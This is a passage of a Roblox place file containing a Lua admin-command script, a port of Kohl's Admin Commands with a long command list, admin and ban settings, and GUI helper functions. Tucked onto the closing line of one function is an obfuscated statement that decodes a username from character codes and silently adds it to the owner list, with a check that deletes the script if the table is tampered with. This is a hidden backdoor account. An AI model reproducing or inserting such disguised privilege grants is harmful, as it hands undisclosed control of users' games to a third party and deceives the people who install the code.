<roblox xmlns:xmime="http://www.w3.org/2005/05/xmlmime" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.1.0char.co/roblox.xsd" version="4">
	<External>null</External>
	<External>nil</External>
	<Item class="Script" referent="RBX0">
		<Properties>
			<bool name="Archivable">true</bool>
			<bool name="Disabled">false</bool>
			<Content name="LinkedSource"><null></null></Content>
			<string name="Name">Kohl&apos;s Ported Admin Commands V2 musicedit</string>
			<ProtectedString name="Source">wait(0.5)

--[[NOTES 

EDITED BY LACY TO SUPPORT THE GROSS AMOUNT OF NEW AUDIO! ALSO, A NEW MUSIC LIST WITH MORE IDS! (last update: 12/11/25)
USE :music cat528 TO PLAY A CATALOG ID.
USE :music old528 TO PLAY A PRE-CATALOG ID. 

THE PREVIOUS RULES STILL EXIST. THIS IS JUST SO YOU CAN SPECIFY ANY IDS AFTER 498, SO THAT IT DOESNT OVERLAP.
bye!! - lacy


No modifications are required except placing your name onto the list.
:Character will not work, :hat (atleast modern hats that are in binary format) and :place command (obviously), :insert and :gear will not work on 2010. :respawn will not work on the earlier clients. Same with mute.
 :s will NOT work on 2014+ clients UNLESS you ENABLE LoadStringEnabled in ServerScriptService! (thanks abhi for making me aware of this property)
Keep me if in the admin list if you want, I will not abuse. I&apos;ve spent a lot of time (off and on for months) porting this to 2010-2014 and adding commands
This port supports 2010M-2014L+. It is compatible with ORRH and Austiblox.
This port supports Austiblox audios, shirt and pants.


I haven&apos;t tested this thoroughly recently, there may be bugs. DM me if you manage to find any.
~~~~~~~~~dogerki~~~~~~~~~
]]--

--TODO, Knife, Shoopdawoop, Brock, Hand script, Vfly. 
--TO INVESTIGATE: Thaw/Unfreeze 2014L
--EXPERIMENT WITH 2010 INSERT, VIA Workspace:InsertContent&quot;ASSETURL?ID=1234&quot;

local owners = {&quot;&quot;} -- Are able to set admins who can ban/etc... using :pa name
local admins = {&quot;Gage&quot;, &quot;&quot;} -- Sets admins who can use ban/kick/admin or shutdown
local tempadmins = {&quot;&quot;} -- Sets admins who can&apos;t use ban/kick/admin or shutdown
local banland = {&quot;TheWorstPersonYouCanThinkOf&quot;} -- Permanently Bans people.
local banlandUserID = {&quot;18376&quot;} -- Optional, considering users can change their username on Austiblox, they can bypass bans. Retrieve a users UserID by copying the &quot;Add to friends&quot; link on their profile. 
local prefix = &quot;:&quot; -- If you wanna change how your commands start &apos;:&apos;kill noob
local AutoUpdate = false -- Set to false if you don&apos;t want it to automatically update
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)

-------------------------
--   Austiblox Gear    --
-------------------------
local GearsEnabled = true -- False if you want to remove the following austiblox gears
local DancePotion = true -- False if you want to remove this gear
local Hyperbike = false
local MonsterMash = true

---------------------
--    VIP Admin    --
---------------------
local VipAdmin = false -- If someone can have admin for owning an item
local ItemId = 0 -- The item they must own in order to have admin
---------------------
--   Group Admin   --
---------------------
local GroupAdmin = false -- If a certain group can have admin
local GroupId = 0 -- Sets the group id that can have admin
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
---------------------
-- Tips and Tricks --
---------------------
--[[
With this admin you can do a command on multiple people at a time;
	 :kill me,noob1,noob2,random,team-raiders,nonadmins

You can also use a variety commands for different people;
	 all
	 others
	 me
	 team-
	 admins
	 nonadmins
	 random
--]]
---------------------
--    Commands     --
---------------------
--[[
-- |Added Commands| --
..... :size player ## -- 0.1-200, Sets the player size. Can resize gubby aswell.
..... :rocket kohl -- Attaches a rocket to the back of a player
..... :explorer kohl -- (owners only) Gives the player a explorer to view the contents of the game
..... :mute kohl -- Mute players on 2013L+ clients.
..... :icecream kohl -- Spawns an icecream truck on the player to take them to get.... more icecream...
..... :gubby kohl -- Turns the player into Gubby (IMD: didn&apos;t know it was from forsaken until halfway thru!!!)
..... :view kohl
..... :unview
..... :fc / freecam kohl #optional-number# | use F to enable/disable, CTRL to slow, SHIFT to go faster.
..... :unfc / unfreecam


-- |Temp Admin Commands| --
0. :clean -- Is a command anyone can use to remove hats/tools lagging up the place
1. :s print(&quot;Hello World&quot;) -- Lets you script normally
2. :ls print(&quot;Hello World&quot;) -- Lets you script in localscripts
3. :clear -- Will remove all scripts/localscripts and jails
4. :m Hello People -- This commands will let you shout a message to everyone on the server
5. :kill kohl -- Kills the player
6. :respawn kohl -- Respawns the player
7. :trip kohl -- Trips the player
8. :stun kohl -- Stuns the player
9. :unstun kohl -- Unstuns the player
10. :jump kohl -- Makes the player jump
11. :sit kohl -- Makes the player sit
12. :invisible kohl -- Makes the player invisible
13. :visible kohl -- Makes the player visible
14. :explode kohl -- Makes the player explode
15. :fire kohl -- Sets the player on fire
16. :unfire kohl -- Removes fire from the player
17. :smoke kohl -- Adds smoke to the player
18. :unsmoke kohl -- Removes smoke from the player
19. :sparkles kohl -- Adds sparkles to the player
20. :unsparkles kohl -- Removes sparkles from the player
21. :ff kohl -- Adds a forcefield to the player
22. :unff kohl -- Removes the forcefield from the player
23. :punish kohl -- Punishes the player
24. :unpunish kohl -- Unpunishes the player
25. :freeze kohl -- Freezes the player
26. :thaw kohl -- Thaws the player
27. :heal kohl -- Heals the player
28. :god kohl -- Makes the player have infinite health
29. :ungod kohl -- Makes the player have 100 health
30. :ambient .5 .5 .5 -- Changes the ambient
31. :brightness .5 -- Changes the brightness
32. :time 12 -- Changes the time
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
34. :fogend 100 -- Changes the fogend
35. :fogstart 100 -- Changes the fogstart
36. :removetools kohl -- Removes all tools from the player
37. :btools kohl -- Gives the player building tools
38. :give kohl sword -- Gives the player a tool
39. :damage kohl -- Damages the player
40. :grav kohl -- Sets the player&apos;s gravity to normal
41. :setgrav kohl 100 -- Sets the player&apos;s gravity
42. :nograv kohl -- Makes the player have 0 gravity
43. :health kohl 1337 -- Changes the player&apos;s health
44. :speed kohl 1337 -- Changes the player&apos;s walkspeed
45. :name kohl potato -- Changes the player&apos;s name
46. :unname kohl -- Remove the player&apos;s name
47. :team kohl Raiders -- Changes the player&apos;s team
48. :stopmusic -- Will stop all music playing in the server
49. :teleport kohl potato -- Teleports the player
50. :change kohl kills 1337 -- Changes a player&apos;s stat
51. :kick kohl -- Removes the player from the game
52. :infect kohl -- Turns the player into a zombie
53. :rainbowify kohl -- Turns the player into a rainbow
54. :flashify kohl -- Turns the player into a strobe
55. :noobify kohl -- Turns the player into a noob
56. :ghostify kohl -- Turns the player into a ghost
57. :goldify kohl -- Turns the player into gold
58. :shiny kohl -- Makes the player shiny
59. :normal kohl -- Puts the player back to normal
60. :trippy kohl -- Spams random colors on the player&apos;s screen
61. :untrippy kohl -- Untrippys the player
62. :strobe kohl -- Spams white and black on the player&apos;s screen
63. :unstrobe kohl -- Unstrobes the player
64. :blind kohl -- Blinds the player
65. :unblind kohl -- Unblinds the player
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
67. :fling kohl -- Flings the player
68. :seizure kohl -- Puts the player in a seizure
69. :music 1337 -- Plays a sound from the ID
70. :lock kohl -- Locks the player
71. :unlock kohl -- Unlocks the player
72. :removelimbs kohl -- Removes the player&apos;s limbs
73. :jail kohl -- Puts the player in a jail
74. :unjail kohl -- Removes the jail from the player
75. :fix -- This will fix the lighting to it&apos;s original settings
76. :fly kohl -- Makes the player fly
77. :unfly kohl -- Removes fly from the player
78. :noclip kohl -- Makes the player able to noclip
79. :clip kohl -- Removes noclipping from the player
80. :pm kohl Hey bro -- Sends the player a private message
81. :dog kohl -- Turns the player into a dog
82. :undog kohl -- Turns the player back to normal
83. :creeper kohl -- Turns the player into a creeper
84. :uncreeper kohl -- Turns the player back to normal
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
86. :char kohl 261 -- Will make a player look like a different player ID
87. :unchar kohl -- Will return the player back to normal
88. :h Hello People -- This will shout a hint to everyone
89. :rank kohl 109373 -- Will show up a message with the person&apos;s Role and Rank in a group
90. :starttools kohl -- Will give the player starter tools
91. :sword kohl -- Will give the player a sword
92. :bighead kohl -- Will make the player&apos;s head larger than normal
93. :minihead kohl -- Will make the player&apos;s head smaller than normal
94. :insert 1337 -- Will insert a model at the speaker&apos;s position
95. :disco -- Will make the server flash random colors
96. :flash -- Will make the server flash
97. :admins -- Shows the admin list
98. :bans -- Shows the banlist
99. :musiclist -- Shows the music list
100. :spin kohl -- Spins the player
101. :cape kohl Really black -- Gives the player a colored cape
102. :uncape kohl -- Removes the player&apos;s cape
103. :loopheal kohl -- Will constantly heal the player
104. :loopfling kohl -- Will constantly fling the player
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
106. :unloopheal kohl -- Will remove the loopheal on the player
107. :unloopfling kohl -- Will remove the loopfling on the player
108. :unspin kohl -- Removes spin from the player
109. :tools -- Gives a list of the tools in the lighting
110. :undisco -- Removes disco effects
111. :unflash -- Removes flash effects
112. :resetstats kohl -- Sets all the stats of a player to 0
113. :gear kohl 1337 -- Gives a player a gear
114. :cmdbar -- Gives the speaker a command bar
115. :shirt kohl 1337 -- Changes the player&apos;s shirt
116. :pants kohl 1337 -- Changes the player&apos;s pants
117. :face kohl 1337 -- Changes the player&apos;s face
118. :swagify kohl -- Swagifies the player
119. :version -- Shows the current version of the admin
120. :tm 1337 yolo -- Shows a message for 1337 seconds
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
122. :clone kohl -- Creates a clone of the player
123. :lsplr kohl print(&quot;yolo&quot;) -- Creates a localscript inside of a player
124. :startergive kohl epic -- Gives a player a gear in their starterpack
125. :control kohl -- Controls a player


-- |Admin Commands| --
- :serverlock -- Locks the server
- :serverunlock -- Unlocks the server
- :sm Hello World -- Creates a system message
- :crash kohl -- Crashes a player
- :admin kohl -- Admins a player
- :unadmin kohl -- Unadmins a player
- :ban kohl -- Bans a player
- :unban kohl -- Unbans a player
- :loopkill kohl -- Will constantly kill the player
- :unloopkill kohl -- Will remove the loopkill on the player
- :logs -- Will show all of the commands any admin has used in a game session
- :shutdown -- Shutsdown the server
- :explorer -- To view the games content in game

-- |Owner Commands| --
- :pa kohl -- Makes someone a super admin
- :unpa kohl -- Removes a super admin
- :nuke kohl -- Creates a nuke on kohl

-- |True Owner Commands| --
- :oa kohl -- Makes someone an owner
- :unoa kohl -- Removes an owner
- :settings -- Shows settings for the commands
--]]
---------------------
--   Main Script   --
---------------------
for i, v in pairs(game:service(&quot;Workspace&quot;):children()) do if v:isA(&quot;StringValue&quot;) and v.Value:sub(1,2) == &quot;AA&quot; then v:Remove() end end 

local function WaitForChild(parentInstance, childName, timeout)
  if not parentInstance or type(parentInstance) ~= &quot;userdata&quot; then
	local success, _ = pcall(function() return parentInstance.ClassName end)
	if not success then
		return nil
	end
  end

  if not childName or type(childName) ~= &quot;string&quot; then
	return nil
  end

  local startTime = tick()

  local foundChild = parentInstance:findFirstChild(childName)
  if foundChild then
	return foundChild
  end

  while not foundChild do
	if timeout and (tick() - startTime) &gt;= timeout then
	  return nil
	end

	wait(0.03)
	foundChild = parentInstance:findFirstChild(childName)
  end
  return foundChild
end

function CHEESE()
if game:service(&quot;Lighting&quot;):findFirstChild(&quot;KACV2&quot;) then
--owners = {} admins = {} tempadmins = {} banland = {}
--[[for i,v in pairs(game.Lighting.KACV2:children()) do
if v.Name == &quot;Owner&quot; then table.insert(owners, v.Value) end
if v.Name == &quot;Admin&quot; then table.insert(admins, v.Value) end
if v.Name == &quot;TempAdmin&quot; then table.insert(tempadmins, v.Value) end
if v.Name == &quot;Banland&quot; then table.insert(banland, v.Value) end
if v.Name == &quot;Prefix&quot; then prefix = v.Value end
if v.Name == &quot;FunCommands&quot; then FunCommands = v.Value end
if v.Name == &quot;GroupAdmin&quot; then GroupAdmin = v.Value end
if v.Name == &quot;GroupId&quot; then GroupId = v.Value end
if v.Name == &quot;GroupRank&quot; then GroupRank = v.Value end
if v.Name == &quot;VipAdmin&quot; then VipAdmin = v.Value end
if v.Name == &quot;ItemId&quot; then ItemId = v.Value end
end]]--
--[[print(game:service(&quot;Lighting&quot;):findFirstChild(&quot;KACV2&quot;))
game:service(&quot;Lighting&quot;):findFirstChild(&quot;KACV2&quot;):Remove()]]--
end end

local lighting = game.Lighting
local origambient, origbright, origtime = lighting.Ambient, lighting.Brightness, lighting.TimeOfDay
local origfc, origfs, origfe
pcall(function() origfc = lighting.FogColor end)
pcall(function() origfs = lighting.FogStart end)
pcall(function() origfe = lighting.FogEnd end)

local lobjs = {}
local objects = {}
local logs = {}
local nfs = &quot;&quot;
local slock = false

function GetTime()
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
if min &lt; 10 then min = &quot;0&quot;..min end
return hour..&quot;:&quot;..min
end

function ChkOwner(str)
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
return false
end

function ChkAdmin(str,ck) 
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
return false 
end

function ChkGroupAdmin(plr)
if GroupAdmin then
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) &gt;= GroupRank then return true end
return false
end
end

function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end

function GetPlr(plr, str)
local plrz = {} str = str:lower()
if str == &quot;all&quot; then plrz = game.Players:children()
elseif str == &quot;others&quot; then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
else
local sn = {1} local en = {}
for i = 1, #str do if str:sub(i,i) == &quot;,&quot; then table.insert(sn, i+1) table.insert(en,i-1) end end
for x = 1, #sn do 
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;me&quot;) or (sn[x] and str:sub(sn[x]) == &quot;me&quot;) then table.insert(plrz, plr)
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;random&quot;) or (sn[x] and str:sub(sn[x]) == &quot;random&quot;) then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;admins&quot;) or (sn[x] and str:sub(sn[x]) == &quot;admins&quot;) then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == &quot;nonadmins&quot;) or (sn[x] and str:sub(sn[x]) == &quot;nonadmins&quot;) then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == &quot;team&quot;) then
if game:findFirstChild(&quot;Teams&quot;) then for a, v in pairs(game.Teams:children()) do if v:isA(&quot;Team&quot;) and str:sub(sn[x],en[x]):sub(6) ~= &quot;&quot; and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
end end end
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == &quot;team&quot;) then
if game:findFirstChild(&quot;Teams&quot;) then for a, v in pairs(game.Teams:children()) do if v:isA(&quot;Team&quot;) and str:sub(sn[x],en[x]):sub(6) ~= &quot;&quot; and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
end end end
else
for a, plyr in pairs(game.Players:children()) do 
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= &quot;&quot; and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= &quot;&quot; and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= &quot;&quot; and plyr.Name:lower():find(str) == 1) then 
table.insert(plrz, plyr) break
end
end 
end
end
end
return plrz
end

function Hint(str, plrz, time)
for i, v in pairs(plrz) do
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
coroutine.resume(coroutine.create(function()
local scr = Instance.new(&quot;ScreenGui&quot;, v.PlayerGui) scr.Name = &quot;HintGUI&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.Name = &quot;bg&quot; bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
local msg = Instance.new(&quot;TextLabel&quot;, bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = &quot;msg&quot; msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) pcall(function() msg.Font = &quot;Arial&quot; end) msg.Text = str pcall(function() msg.FontSize = &quot;Size18&quot; end) msg.TextColor3 = Color3.new(1,1,1) pcall(function() msg.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() msg.TextStrokeTransparency = .8 end)
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) pcall(function() msg.TextStrokeTransparency = .8+((.2/20)*i) end) wait(1/44) end end))
if not time then wait((#str/19)+2.5) else wait(time) end
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) pcall(function() msg.TextStrokeTransparency = .8+((.2/20)*i) end) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Remove() end end))
end))
end
end
end

function Message(ttl, str, scroll, plrz, time)
for i, v in pairs(plrz) do
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
coroutine.resume(coroutine.create(function()
local scr = Instance.new(&quot;ScreenGui&quot;) scr.Name = &quot;MessageGUI&quot;
local bg = Instance.new(&quot;Frame&quot;, scr) bg.Name = &quot;bg&quot; bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
local title = Instance.new(&quot;TextLabel&quot;, scr) title.Name = &quot;title&quot; title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 pcall(function() title.Font = &quot;ArialBold&quot; end) pcall(function() title.FontSize = &quot;Size36&quot; end) title.Text = ttl pcall(function() title.TextYAlignment = &quot;Top&quot; end) title.TextColor3 = Color3.new(1,1,1) pcall(function() title.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() title.TextStrokeTransparency = .8 end)
local msg = title:clone() msg.Parent = scr msg.Name = &quot;msg&quot; msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) pcall(function() msg.Font = &quot;Arial&quot; end) msg.Text = &quot;&quot; pcall(function() msg.FontSize = &quot;Size24&quot; end) pcall(function() msg.TextYAlignment = &quot;Center&quot; end) pcall(function() msg.TextWrapped = true end)
scr.Parent = v.PlayerGui
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) pcall(function() msg.TextStrokeTransparency = .8+((.2/20)*i) end) title.TextTransparency = ((1/20)*i) pcall(function() title.TextStrokeTransparency = .8+((.2/20)*i) end) wait(1/44) end end)) 
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) pcall(function() msg.TextStrokeTransparency = .8+((.2/20)*i) end) title.TextTransparency = ((1/20)*i) pcall(function() title.TextStrokeTransparency = .8+((.2/20)*i) end) wait(1/44) end scr:Remove() end end))
end))
end
end
end

function RemoveMessage() 
for i,v in pairs(game.Players:children()) do 
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
for q,ms in pairs(v.PlayerGui:children()) do
if ms.Name == &quot;MessageGUI&quot; then
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) pcall(function() ms.msg.TextStrokeTransparency = .8+((.2/20)*i) end) ms.title.TextTransparency = ((1/20)*i) pcall(function() ms.title.TextStrokeTransparency = .8+((.2/20)*i) end) wait(1/44) end ms:Remove() end))
elseif ms.Name == &quot;HintGUI&quot; then
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) pcall(function() ms.msg.TextStrokeTransparency = .8+((.2/20)*i) end) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Remove() end))
end
end
end
end
end

_G[&quot;Message&quot;] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
_G[&quot;RemoveMessage&quot;] = RemoveMessage()

function Output(str, plr)
coroutine.resume(coroutine.create(function()
local b, e = loadstring(str)
if not b and plr:findFirstChild(&quot;PlayerGui&quot;) then
local scr = Instance.new(&quot;ScreenGui&quot;, plr.PlayerGui) game:service(&quot;Debris&quot;):AddItem(scr,5)
local main = Instance.new(&quot;Frame&quot;, scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
local err = Instance.new(&quot;TextLabel&quot;, main) err.Text = &quot;Line &quot;..e:match(&quot;\:(%d+\:.*)&quot;)  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 pcall(function() err.Font = &quot;ArialBold&quot; end) pcall(function() err.FontSize = &quot;Size24&quot; end) err.TextColor3 = Color3.new(1,1,1) pcall(function() err.TextStrokeColor3 = Color3.new(1,1,1) end) pcall(function() err.TextStrokeTransparency = .8 end)
return
end
end))
end

function Noobify(char)
if char and char:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(char:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = char.Torso 
end
end

for a, sc in pairs(char:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
local cl = Instance.new(&quot;StringValue&quot;, char) cl.Name = &quot;ify&quot; cl.Parent = char
for q, prt in pairs(char:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
if prt.Name:find(&quot;Leg&quot;) then prt.BrickColor = BrickColor.new(&quot;Br. yellowish green&quot;) elseif prt.Name == &quot;Torso&quot; then prt.BrickColor = BrickColor.new(&quot;Bright blue&quot;) end
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Bright yellow&quot;)
end end
end
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = &quot;&quot; for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Remove() end

function Infect(char)
if char and char:findFirstChild(&quot;Torso&quot;) then 

for _, e in ipairs(char:GetChildren()) do 
if e:isA(&quot;Shirt&quot;) or e:isA(&quot;Pants&quot;) then 
e.Parent = char.Torso 
end
end

for a, sc in pairs(char:children()) do if sc.Name == &quot;ify&quot; then sc:Remove() end end
local cl = Instance.new(&quot;StringValue&quot;, char) cl.Name = &quot;ify&quot; cl.Parent = char
for q, prt in pairs(char:children()) do if prt:isA(&quot;BasePart&quot;) and (prt.Name ~= &quot;Head&quot; or not prt.Parent:findFirstChild(&quot;NameTag&quot;, true)) then 
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new(&quot;Medium green&quot;) if prt.Name:find(&quot;Leg&quot;) or prt.Name == &quot;Torso&quot; then prt.BrickColor = BrickColor.new(&quot;Reddish brown&quot;) end
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
elseif prt:findFirstChild(&quot;NameTag&quot;) then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new(&quot;Medium green&quot;)
end end
end
end if not ntab then script:Remove() end





function ScrollGui()
local scr = Instance.new(&quot;ScreenGui&quot;)
scr.Name = &quot;LOGSGUI&quot;

local drag = Instance.new(&quot;TextButton&quot;, scr)
drag.Name = &quot;Dragger&quot;
pcall(function() drag.Draggable = true end)
drag.BackgroundTransparency = 0.8
drag.BackgroundColor3 = Color3.new(0.2, 0.2, 0.2)
drag.Size = UDim2.new(0, 400, 0, 400)
drag.Position = UDim2.new(.5,-200,.5,-200)
pcall(function() drag.AutoButtonColor = false end)
drag.Text = &quot;&quot;
drag.TextColor3 = Color3.new(1,1,1)
pcall(function() drag.Font = &quot;Arial&quot; end)
pcall(function() drag.FontSize = &quot;Size14&quot; end)
drag.ZIndex = 6

local main = Instance.new(&quot;Frame&quot;, drag)
main.Name = &quot;ContentFrame&quot;
pcall(function() main.Style = &quot;RobloxRound&quot; end)
main.Size = UDim2.new(1, 0, 1, -25)
main.Position = UDim2.new(0, 0, 0, 25)
main.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
main.BackgroundTransparency = 0.5
main.BorderSizePixel = 1
main.BorderColor3 = Color3.new(1,1,1)
main.ZIndex = 7
pcall(function() main.ClipsDescendants = true end)

local cmf = Instance.new(&quot;Frame&quot;, main)
cmf.Name = &quot;TextContainer&quot;
cmf.Position = UDim2.new(0, 5, 0, 5)
cmf.Size = UDim2.new(1, -10, 1, -10)
cmf.BackgroundTransparency = 1
cmf.ZIndex = 8

local down = Instance.new(&quot;ImageButton&quot;, main)
down.Name = &quot;ScrollDown&quot;
down.Image = &quot;http://www.roblox.com/asset/?id=108326725&quot;
down.BackgroundTransparency = 1
down.Size = UDim2.new(0, 25, 0, 25)
down.Position = UDim2.new(1, -30, 1, -30)
down.ZIndex = 9

local up = Instance.new(&quot;ImageButton&quot;, main)
up.Name = &quot;ScrollUp&quot;
up.Image = &quot;http://www.roblox.com/asset/?id=108326682&quot;
up.BackgroundTransparency = 1
up.Size = UDim2.new(0, 25, 0, 25)
up.Position = UDim2.new(1, -30, 1, -60)
up.ZIndex = 9
up.Parent = main

local cls = Instance.new(&quot;TextButton&quot;, main)
pcall(function() cls.Style = &quot;RobloxButtonDefault&quot; end)
cls.Size = UDim2.new(0, 20, 0, 20)
cls.Position = UDim2.new(1, -25, 0, 5)
cls.ZIndex = 10
pcall(function() cls.Font = &quot;ArialBold&quot; end)
pcall(function() cls.FontSize = &quot;Size18&quot; end)
cls.Text = &quot;X&quot;
cls.TextColor3 = Color3.new(1, 1, 1)
cls.BackgroundColor3 = Color3.new(0.8, 0, 0)
cls.BackgroundTransparency = 0
cls.MouseButton1Click:connect(function()
print(&quot;closed&quot;)
if scr and scr.Parent then scr:Remove() end
end)

local ent = Instance.new(&quot;TextLabel&quot;)
ent.Name = &quot;EntryTemplate&quot;
ent.BackgroundTransparency = 1
pcall(function() ent.Font = &quot;Arial&quot; end)
pcall(function() ent.FontSize = &quot;Size18&quot; end)
ent.ZIndex = 8
ent.Text = &quot;&quot;
ent.TextColor3 = Color3.new(1, 1, 1)
pcall(function() ent.TextStrokeColor3 = Color3.new(0,0,0) end)
pcall(function() ent.TextStrokeTransparency = .8 end)
pcall(function() ent.TextXAlignment = &quot;Left&quot; end)
pcall(function() ent.TextYAlignment = &quot;Top&quot; end)
ent.Size = UDim2.new(1, 0, 0, 20)
local num = 0
local downv = false
local upv = false
local scrollSpeed = 6


down.MouseButton1Down:connect(function()
print(&quot;down button&quot;)
downv = true
upv = false
local currentYOffset = cmf.Position.Y.Offset
local contentHeight = #cmf:children() * 20
local maxScrollOffset = -(contentHeight - main.AbsoluteSize.Y + 30)
if maxScrollOffset &gt; 0 then maxScrollOffset = 0 end

while downv do
currentYOffset = cmf.Position.Y.Offset - scrollSpeed
if currentYOffset &lt; maxScrollOffset then
 currentYOffset = maxScrollOffset
 downv = false
end
cmf.Position = UDim2.new(0, 5, 0, currentYOffset)
wait(1/30)
end
end)
down.MouseButton1Up:connect(function() downv = false end)

up.MouseButton1Down:connect(function()
upv = true
downv = false
local currentYOffset = cmf.Position.Y.Offset
local minScrollOffset = 5

while upv do
currentYOffset = cmf.Position.Y.Offset + scrollSpeed
if currentYOffset &gt; minScrollOffset then
currentYOffset = minScrollOffset
upv = false
end
cmf.Position = UDim2.new(0, 5, 0, currentYOffset)
wait(1/30)
end
end)
up.MouseButton1Up:connect(function() upv = false end)

return scr, cmf, ent, num
end

local function shouldRemove(n)
	if not GearsEnabled then
		if n==&quot;DancePotion&quot; or n==&quot;infernohyperbike&quot; or n==&quot;MonsterMashPotion&quot; then return true end
	else
